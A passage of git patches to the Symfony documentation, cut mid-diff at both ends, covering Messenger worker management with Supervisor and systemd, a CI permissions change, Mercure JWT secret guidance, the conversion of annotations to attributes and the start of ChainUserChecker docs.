-**Use Supervisor to keep your worker(s) running**
+**Use a Process Manager like Supervisor or systemd to keep your worker(s) running**
     You'll want one or more "workers" running at all times. To do that, use a
-    process control system like :ref:`Supervisor <messenger-supervisor>`.
+    process control system like :ref:`Supervisor <messenger-supervisor>`
+    or :ref:`systemd <messenger-systemd>`.
 
 **Don't Let Workers Run Forever**
     Some services (like Doctrine's ``EntityManager``) will consume more memory
     over time. So, instead of allowing your worker to run forever, use a flag
     like ``messenger:consume --limit=10`` to tell your worker to only handle 10
-    messages before exiting (then Supervisor will create a new process). There
+    messages before exiting (then the process manager will create a new process). There
     are also other options like ``--memory-limit=128M`` and ``--time-limit=3600``.
 
+**Stopping Workers That Encounter Errors**
+    If a worker dependency like your database server is down, or timeout is reached,
+    you can try to add :ref:`reconnect logic <middleware-doctrine>`, or just quit
+    the worker if it receives too many errors with the ``--failure-limit`` option of
+    the ``messenger:consume`` command.
+
 **Restart Workers on Deploy**
     Each time you deploy, you'll need to restart all your worker processes so
     that they see the newly deployed code. To do this, run ``messenger:stop-workers``
     on deployment. This will signal to each worker that it should finish the message
-    it's currently handling and should shut down gracefully. Then, Supervisor will create
-    new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
+    it's currently handling and should shut down gracefully. Then, the process manager
+    will create new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
 **Use the Same Cache Between Deploys**
@@ -695,8 +702,49 @@ Next, tell Supervisor to read your config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
+It is possible to end up in a situation where the supervisor job gets into a
+FATAL (too many start retries) state when trying to restart when something is
+not yet available. You can prevent this by wrapping the Symfony script with a
+shell script and sleep when the script fails:
+
+.. code-block:: bash
+
+    #!/usr/bin/env bash
+
+    # Supervisor sends TERM to services when stopped.
+    # This wrapper has to pass the signal to it's child.
+    # Note that we send TERM (graceful) instead of KILL (immediate).
+    _term() {
+        echo "[GOT TERM, SIGNALING CHILD]"
+        kill -TERM "$child" 2>/dev/null
+        exit 1
+    }
+
+    trap _term SIGTERM
+
+    # Execute console.php with whatever arguments were specified to this script
+    "$@" &
+    child=$!
+    wait "$child"
+    rc=$?
+
+    # Delay to prevent supervisor from restarting too fast on failure
+    sleep 30
+
+    # Return with the exit code of the wrapped process
+    exit $rc
+
+The supervisor job would then look like this:
+
+.. code-block:: ini
+
+    ;/etc/supervisor/conf.d/messenger-worker.conf
+    [program:messenger-consume]
+    command=/path/to/your/app/bin/console_wrapper php /path/to/your/app/bin/console messenger:consume async --time-limit=3600"
+    ...
+
 Graceful Shutdown
-~~~~~~~~~~~~~~~~~
+.................
 
 If you install the `PCNTL`_ PHP extension in your project, workers will handle
 the ``SIGTERM`` POSIX signal to finish processing their current message before
@@ -712,6 +760,88 @@ of the desired grace period in seconds) in order to perform a graceful shutdown:
     [program:x]
     stopwaitsecs=20
 
+.. _messenger-systemd:
+
+Systemd Configuration
+~~~~~~~~~~~~~~~~~~~~~
+
+While Supervisor is a great tool, it has the disadvantage that you need system
+access to run it. Systemd has become the standard on most Linux distributions,
+and has a good alternative called *user services*.
+
+Systemd user service configuration files typically live in a ``~/.config/systemd/user``
+directory. For example, you can create a new ``messenger-worker.service`` file. Or a
+``messenger-worker@.service`` file if you want more instances running at the same time:
+
+.. code-block:: ini
+
+    [Unit]
+    Description=Symfony messenger-consume %i
+
+    [Service]
+    ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
+    Restart=always
+    RestartSec=30
+
+    [Install]
+    WantedBy=default.target
+
+Now, tell systemd to enable and start one worker:
+
+.. code-block:: terminal
+
+    $ systemctl --user enable messenger-worker@1.service
+    $ systemctl --user start messenger-worker@1.service
+
+    # to enable and start 20 workers
+    $ systemctl --user enable messenger-worker@{1..20}.service
+    $ systemctl --user start messenger-worker@{1..20}.service
+
+If you change your service config file, you need to reload the daemon:
+
+.. code-block:: terminal
+
+    $ systemctl --user daemon-reload
+
+To restart all your consumers:
+
+.. code-block:: terminal
+
+    $ systemctl --user restart messenger-consume@*.service
+
+The systemd user instance is only started after the first login of the
+particular user. Consumer often need to start on system boot instead.
+Enable lingering on the user to activate that behavior:
+
+.. code-block:: terminal
+
+    $ loginctl enable-linger <your-username>
+
+Logs are managed by journald and can be worked with using the journalctl
+command:
+
+.. code-block:: terminal
+
+    # follow logs of consumer nr 11
+    $ journalctl -f --user-unit messenger-consume@11.service
+
+    # follow logs of all consumers
+    $ journalctl -f --user-unit messenger-consume@*
+
+    # follow all logs from your user services
+    $ journalctl -f _UID=$UID
+
+See the `systemd docs`_ for more details.
+
+.. note::
+
+    You either need elevated privileges for the ``journalctl`` command, or add
+    your user to the systemd-journal group:
+
+    .. code-block:: terminal
+
+        $ sudo usermod -a -G systemd-journal <your-username>
+
 Stateless Worker
 ~~~~~~~~~~~~~~~~
 
@@ -2190,6 +2320,8 @@ middleware and *only* include your own:
     If a middleware service is abstract, a different instance of the service will
     be created per bus.
 
+.. _middleware-doctrine:
+
 Middleware for Doctrine
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2377,6 +2509,7 @@ Learn more
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
 .. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
+.. _`systemd docs`: https://www.freedesktop.org/wiki/Software/systemd/
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html

From 156058489891b657339b34310204f34bb0e17619 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Sep 2022 17:28:42 +0200
Subject: [PATCH 2297/5766] Add documentation of Supervisor BACKOFF strategy

This feature seems to be the official way to handle delays in restart.
---
 messenger.rst | 55 +++++++++++++--------------------------------------
 1 file changed, 14 insertions(+), 41 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f1b4b256aad..20f1136de94 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -676,11 +676,25 @@ times:
     startsecs=0
     autostart=true
     autorestart=true
+    startretries=10
     process_name=%(program_name)s_%(process_num)02d
 
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
+.. caution::
+
+    During a deployment, something might be unavailable (e.g. the
+    database) causing the consumer to fail to start. In this situation,
+    Supervisor will try ``startretries`` number of times to restart the
+    command. Make sure to change this setting to avoid getting the command
+    in a FATAL state, which will never restart again.
+
+    Each restart, Supervisor increases the delay by 1 second. For instance, if
+    the value is ``10``, it will wait 1 sec, 2 sec, 3 sec, etc. This gives the
+    service a total of 55 seconds to become available again. Increase the
+    ``startretries`` setting to cover the maximum expected downtime.
+
 If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
@@ -702,47 +716,6 @@ Next, tell Supervisor to read your config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
-It is possible to end up in a situation where the supervisor job gets into a
-FATAL (too many start retries) state when trying to restart when something is
-not yet available. You can prevent this by wrapping the Symfony script with a
-shell script and sleep when the script fails:
-
-.. code-block:: bash
-
-    #!/usr/bin/env bash
-
-    # Supervisor sends TERM to services when stopped.
-    # This wrapper has to pass the signal to it's child.
-    # Note that we send TERM (graceful) instead of KILL (immediate).
-    _term() {
-        echo "[GOT TERM, SIGNALING CHILD]"
-        kill -TERM "$child" 2>/dev/null
-        exit 1
-    }
-
-    trap _term SIGTERM
-
-    # Execute console.php with whatever arguments were specified to this script
-    "$@" &
-    child=$!
-    wait "$child"
-    rc=$?
-
-    # Delay to prevent supervisor from restarting too fast on failure
-    sleep 30
-
-    # Return with the exit code of the wrapped process
-    exit $rc
-
-The supervisor job would then look like this:
-
-.. code-block:: ini
-
-    ;/etc/supervisor/conf.d/messenger-worker.conf
-    [program:messenger-consume]
-    command=/path/to/your/app/bin/console_wrapper php /path/to/your/app/bin/console messenger:consume async --time-limit=3600"
-    ...
-
 Graceful Shutdown
 .................
 

From c62747f8c5350d6987dce6662deb9b9977633721 Mon Sep 17 00:00:00 2001
From: Alex <93376818+sashashura@users.noreply.github.com>
Date: Fri, 2 Sep 2022 17:11:39 +0100
Subject: [PATCH 2298/5766] Update ci.yaml

Signed-off-by: sashashura <93376818+sashashura@users.noreply.github.com>
---
 .github/workflows/ci.yaml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 87ccb0b1d75..73bbcca0235 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -8,6 +8,9 @@ on:
         branches-ignore:
             - 'github-comments'
 
+permissions:
+    contents: read
+
 jobs:
     symfony-docs-builder-build:
         name: Build (symfony-tools/docs-builder)

From d1f7cf49ce9f163eee77e23844097bce3f6735c1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Sep 2022 09:34:47 +0200
Subject: [PATCH 2299/5766] Removing heading

Doesn't make sense here - the first chapter doesn't have a sub-heading too.
Besides, "Template Modifications" sounds like it's about the following (which in fact is written way above):

 > If you want to customize the HTML code in the prototype, see...
---
 form/form_collections.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 89f079c944d..f5cef95ee95 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -539,8 +539,6 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
         }
     }
 
-Template Modifications
-~~~~~~~~~~~~~~~~~~~~~~
 
 The ``allow_delete`` option means that if an item of a collection
 isn't sent on submission, the related data is removed from the collection

From e6bdd5d518d86e298b1820824cd754468b5e7cf2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Sep 2022 09:41:52 +0200
Subject: [PATCH 2300/5766] Fixing path

All other code samples on this page are using `form/`
---
 form/form_themes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index 69a24a2adb0..c2dd3dca368 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -128,7 +128,7 @@ order is important, because each theme overrides all the previous ones):
     {# apply multiple form themes but only to the form of this template #}
     {% form_theme form with [
         'foundation_5_layout.html.twig',
-        'forms/my_custom_theme.html.twig'
+        'form/my_custom_theme.html.twig'
     ] %}
 
     {# ... #}

From 688b84ef59b91a8c084e36e161c6cd29c777a373 Mon Sep 17 00:00:00 2001
From: silverbackdan <daniel@silverback.is>
Date: Wed, 14 Sep 2022 09:09:14 +0100
Subject: [PATCH 2301/5766] Update mercure jwt default secret

---
 mercure.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 3bbdb38dce9..1e2ba726d9a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -107,14 +107,14 @@ the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 The clients must also bear a `JSON Web Token`_ (JWT)
 to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` if you use the Docker integration).
+This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeThisMercureHubJWTSecretKey!`` if you use the Docker integration).
 This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 MercureBundle will use it to automatically generate and sign the needed JWTs.
 
 In addition to these environment variables,
 MercureBundle provides a more advanced configuration:
 
-* ``secret``: the key to use to sign the JWT (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored)
+* ``secret``: the key to use to sign the JWT - A key of the same size as the hash output (for instance, 256 bits for "HS256") or larger MUST be used. (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored)
 * ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when ``secret`` is provided)
@@ -132,7 +132,7 @@ MercureBundle provides a more advanced configuration:
                 default:
                     url: https://mercure-hub.example.com/.well-known/mercure
                     jwt:
-                        secret: '!ChangeMe!'
+                        secret: '!ChangeThisMercureHubJWTSecretKey!'
                         publish: ['foo', 'https://example.com/foo']
                         subscribe: ['bar', 'https://example.com/bar']
                         algorithm: 'hmac.sha256'
@@ -150,7 +150,7 @@ MercureBundle provides a more advanced configuration:
                 url="https://mercure-hub.example.com/.well-known/mercure"
             >
                 <jwt
-                    secret="!ChangeMe!"
+                    secret="!ChangeThisMercureHubJWTSecretKey!"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
@@ -172,7 +172,7 @@ MercureBundle provides a more advanced configuration:
                 'default' => [
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
-                        'secret' => '!ChangeMe!',
+                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
                         'publish' => ['foo', 'https://example.com/foo'],
                         'subscribe' => ['bar', 'https://example.com/bar'],
                         'algorithm' => 'hmac.sha256',

From 740e600968f2587139e224f2c21d601f13d6f471 Mon Sep 17 00:00:00 2001
From: Therage Kevin <35264408+ktherage@users.noreply.github.com>
Date: Thu, 8 Sep 2022 16:21:35 +0200
Subject: [PATCH 2302/5766] Fixing "HTML5 color format" link

The link https://www.w3.org/TR/html52/sec-forms.html#color-state-typecolor redirects to https://html.spec.whatwg.org/multipage/forms.html#color-state-typecolor which is bad, it's seems to be https://html.spec.whatwg.org/multipage/input.html#color-state-(type=color) now.
---
 reference/forms/types/color.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 213c88323cc..72bfa0eff79 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -90,4 +90,4 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/trim.rst.inc
 
-.. _`HTML5 color format`: https://www.w3.org/TR/html52/sec-forms.html#color-state-typecolor
+.. _`HTML5 color format`: https://html.spec.whatwg.org/multipage/input.html#color-state-(type=color)

From 6c1567051e451071f3ee8660e1b01cfc1f67687f Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Wed, 24 Aug 2022 15:46:10 +0200
Subject: [PATCH 2303/5766] Replace remaining annotations with attributes,
 remove remaining annotations configuration block

---
 best_practices.rst                       |  11 ++-
 components/http_kernel.rst               |  10 +--
 components/serializer.rst                | 103 +----------------------
 contributing/documentation/standards.rst |   6 +-
 controller/argument_value_resolver.rst   |   8 +-
 reference/configuration/doctrine.rst     |   2 +-
 routing/routing_from_database.rst        |   4 +-
 security.rst                             |  25 ------
 service_container/autowiring.rst         |  40 ---------
 service_container/calls.rst              |   8 +-
 validation/custom_constraint.rst         |  31 -------
 11 files changed, 25 insertions(+), 223 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 859b203a24a..6be952c0a22 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -236,11 +236,11 @@ configuration. You don't need to browse several files created with different
 formats (YAML, XML, PHP): all the configuration is just where you need it and
 it only uses one format.
 
-Don't Use Annotations to Configure the Controller Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Don't Use Attributes to Configure the Controller Template
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``@Template`` annotation is useful, but also involves some *magic*.
-Moreover, most of the time ``@Template`` is used without any parameters, which
+The ``#[Template]`` attribute is useful, but also involves some *magic*.
+Moreover, most of the time ``#[Template]`` is used without any parameters, which
 makes it more difficult to know which template is being rendered. It also hides
 the fact that a controller should always return a ``Response`` object.
 
@@ -380,8 +380,7 @@ Use Voters to Implement Fine-grained Security Restrictions
 
 If your security logic is complex, you should create custom
 :doc:`security voters </security/voters>` instead of defining long expressions
-inside the ``#[Security]`` attribute (or in the ``@Security`` annotation if your
-PHP version doesn't support attributes yet).
+inside the ``#[Security]`` attribute.
 
 Web Assets
 ----------
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 52a0cee8332..d4c785ea6dc 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -302,7 +302,7 @@ on the event object that's passed to listeners on this event.
     the profiler is enabled.
 
     One interesting listener comes from the `SensioFrameworkExtraBundle`_. This
-    listener's `@ParamConverter`_ functionality allows you to pass a full object
+    listener's `#[ParamConverter]`_ functionality allows you to pass a full object
     (e.g. a ``Post`` object) to your controller instead of a scalar value (e.g.
     an ``id`` parameter that was on your route). The listener -
     ``ParamConverterListener`` - uses reflection to look at each of the
@@ -411,8 +411,8 @@ return a ``Response``.
 
     There is no default listener inside the Symfony Framework for the ``kernel.view``
     event. However, `SensioFrameworkExtraBundle`_ *does* add a listener to this
-    event. If your controller returns an array, and you place the `@Template`_
-    annotation above the controller, then this listener renders a template,
+    event. If your controller returns an array, and you place the `#[Template]`_
+    attribute above the controller, then this listener renders a template,
     passes the array you returned from your controller to that template, and
     creates a ``Response`` containing the returned content from that template.
 
@@ -750,6 +750,6 @@ Learn more
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
-.. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
+.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`#[Template]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/components/serializer.rst b/components/serializer.rst
index 3b5370cb5cb..53e1f1d7299 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -293,35 +293,6 @@ Then, create your groups definition:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            /**
-             * @Groups({"group1", "group2"})
-             */
-            public $foo;
-
-            /**
-             * @Groups({"group4"})
-             */
-            public $anotherProperty;
-
-            /**
-             * @Groups("group3")
-             */
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace Acme;
@@ -467,22 +438,6 @@ Option 1: Using ``@Ignore`` Annotation
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public $foo;
-
-            /**
-             * @Ignore()
-             */
-            public $bar;
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Model;
@@ -697,27 +652,6 @@ defines a ``Person`` entity with a ``firstName`` property:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            /**
-             * @SerializedName("customer_name")
-             */
-            private $firstName;
-
-            public function __construct($firstName)
-            {
-                $this->firstName = $firstName;
-            }
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Entity;
@@ -1412,22 +1346,6 @@ Here, we set it to 2 for the ``$child`` property:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            /**
-             * @MaxDepth(2)
-             */
-            public $child;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace Acme;
@@ -1501,9 +1419,7 @@ having unique identifiers::
     {
         public $id;
 
-        /**
-         * @MaxDepth(1)
-         */
+        #[MaxDepth(1)]
         public $child;
     }
 
@@ -1735,23 +1651,6 @@ and ``BitBucketCodeRepository`` classes:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App;
-
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        /**
-         * @DiscriminatorMap(typeProperty="type", mapping={
-         *    "github"="App\GitHubCodeRepository",
-         *    "bitbucket"="App\BitBucketCodeRepository"
-         * })
-         */
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App;
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 8e266f68cab..7372d7058b1 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -88,9 +88,9 @@ Configuration examples should show all supported formats using
 (and their orders) are:
 
 * **Configuration** (including services): YAML, XML, PHP
-* **Routing**: Annotations, YAML, XML, PHP
-* **Validation**: Annotations, YAML, XML, PHP
-* **Doctrine Mapping**: Annotations, YAML, XML, PHP
+* **Routing**: Attributes, YAML, XML, PHP
+* **Validation**: Attributes, YAML, XML, PHP
+* **Doctrine Mapping**: Attributes, YAML, XML, PHP
 * **Translation**: XML, YAML, PHP
 
 Example
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 2cea87964ab..95be321f7f2 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -81,8 +81,8 @@ with the ``User`` class::
         }
     }
 
-Beware that this feature is already provided by the `@ParamConverter`_
-annotation from the SensioFrameworkExtraBundle. If you have that bundle
+Beware that this feature is already provided by the `#[ParamConverter]`_
+attribute from the SensioFrameworkExtraBundle. If you have that bundle
 installed in your project, add this config to disable the auto-conversion of
 type-hinted method arguments:
 
@@ -253,7 +253,7 @@ To ensure your resolvers are added in the right position you can run the followi
 command to see which argument resolvers are present and in which order they run.
 
 .. code-block:: terminal
-    
+
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
 
 .. tip::
@@ -267,5 +267,5 @@ command to see which argument resolvers are present and in which order they run.
     $user = null``). The ``DefaultValueResolver`` is executed as the last
     resolver and will use the default value if no value was already resolved.
 
-.. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 53f98858d90..6c9d758bb18 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -310,7 +310,7 @@ to organize the application code.
 Custom Mapping Entities in a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Doctrine's ``auto_mapping`` feature loads annotation configuration from
+Doctrine's ``auto_mapping`` feature loads attribute configuration from
 the ``Entity/`` directory of each bundle *and* looks for other formats (e.g.
 YAML, XML) in the ``Resources/config/doctrine`` directory.
 
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 28d539a77f1..eca06dccdef 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -23,8 +23,8 @@ For these cases, the ``DynamicRouter`` offers an alternative approach:
 When all routes are known during deploy time and the number is not too
 high, using a :doc:`custom route loader <custom_route_loader>` is the
 preferred way to add more routes. When working with only one type of
-objects, a slug parameter on the object and the ``@ParamConverter``
-annotation works fine (see `FrameworkExtraBundle`_) .
+objects, a slug parameter on the object and the ``#[ParamConverter]``
+attribute works fine (see `FrameworkExtraBundle`_) .
 
 The ``DynamicRouter`` is useful when you need ``Route`` objects with
 the full feature set of Symfony. Each route can define a specific
diff --git a/security.rst b/security.rst
index 005b0781b32..10466a8c067 100644
--- a/security.rst
+++ b/security.rst
@@ -2131,31 +2131,6 @@ using annotations:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/AdminController.php
-        // ...
-
-        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
-
-        /**
-         * Require ROLE_ADMIN for all the actions of this controller
-         *
-         * @IsGranted("ROLE_ADMIN")
-         */
-        class AdminController extends AbstractController
-        {
-            /**
-             * Require ROLE_SUPER_ADMIN only for this action
-             *
-             * @IsGranted("ROLE_SUPER_ADMIN")
-             */
-            public function adminDashboard(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/AdminController.php
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a0517d8e937..b6a99ecef85 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -551,30 +551,6 @@ to inject the ``logger`` service, and decide to use setter-injection:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Util/Rot13Transformer.php
-        namespace App\Util;
-
-        class Rot13Transformer
-        {
-            private $logger;
-
-            /**
-             * @required
-             */
-            public function setLogger(LoggerInterface $logger): void
-            {
-                $this->logger = $logger;
-            }
-
-            public function transform($value): string
-            {
-                $this->logger->info('Transforming '.$value);
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Util/Rot13Transformer.php
@@ -612,22 +588,6 @@ typed properties:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Util;
-
-        class Rot13Transformer
-        {
-            /** @required */
-            public LoggerInterface $logger;
-
-            public function transform($value)
-            {
-                $this->logger->info('Transforming '.$value);
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Util;
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 0fb2f0d2462..48b8640d516 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -6,7 +6,7 @@ Service Method Calls and Setter Injection
 
 .. tip::
 
-    If you're using autowiring, you can use ``#[Required]`` or ``@required`` to
+    If you're using autowiring, you can use ``#[Required]`` to
     :ref:`automatically configure method calls <autowiring-calls>`.
 
 Usually, you'll want to inject your dependencies via the constructor. But sometimes,
@@ -145,13 +145,13 @@ The configuration to tell the container it should do so would be like:
 
 .. tip::
 
-    If autowire is enabled, you can also use annotations; with the previous
+    If autowire is enabled, you can also use attributes; with the previous
     example it would be::
 
         /**
-         * @required
          * @return static
          */
+        #[Required]
         public function withLogger(LoggerInterface $logger)
         {
             $new = clone $this;
@@ -162,6 +162,6 @@ The configuration to tell the container it should do so would be like:
 
     You can also leverage the PHP 8 ``static`` return type instead of the
     ``@return static`` annotation. If you don't want a method with a
-    PHP 8 ``static`` return type and a ``@required`` annotation to behave as
+    PHP 8 ``static`` return type and a ``#[Required]`` attribute to behave as
     a wither, you can add a ``@return $this`` annotation to disable the
     *returns clone* feature.
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3e2ca6dd2b9..aa3d08aa948 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -16,22 +16,6 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Validator/ContainsAlphanumeric.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
-
-        /**
-         * @Annotation
-         */
-        class ContainsAlphanumeric extends Constraint
-        {
-            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
-        }
-
     .. code-block:: php-attributes
 
         // src/Validator/ContainsAlphanumeric.php
@@ -248,21 +232,6 @@ not to the property:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator as AcmeAssert;
-
-        /**
-         * @AcmeAssert\ProtocolClass
-         */
-        class AcmeEntity
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/AcmeEntity.php

From 0a65292b8695563d7e01c5691fbd0e7b3f9365e2 Mon Sep 17 00:00:00 2001
From: Michael Babker <michael.babker@gmail.com>
Date: Thu, 15 Sep 2022 20:50:47 -0400
Subject: [PATCH 2304/5766] Add docs covering the ChainUserChecker

---
 security/user_checkers.rst | 145 +++++++++++++++++++++++++++++++++++++
 1 file changed, 145 insertions(+)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 32349020a50..3c13a57e239 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -116,3 +116,148 @@ is the service id of your user checker:
                 // ...
             ;
         };
+
+Using Multiple User Checkers
+----------------------------
+
+.. versionadded:: 6.2
+
+    The ``ChainUserChecker`` class was added in Symfony 6.2.
+
+It is common for applications to have multiple authentication entry points (such as
+traditional form based login and an API) which may have unique checker rules for each
+entry point as well as common rules for all entry points. To allow using multiple user
+checkers on a firewall, a service for the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserChecker`
+class is created for each firewall.
+
+To use the chain user checker, first you will need to tag your user checker services with the
+``security.user_checker.<firewall>`` tag (where ``<firewall>`` is the name of the firewall
+in your security configuration). The service tag also supports the priority attribute, allowing you to define the
+order in which user checkers are called::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # ...
+        services:
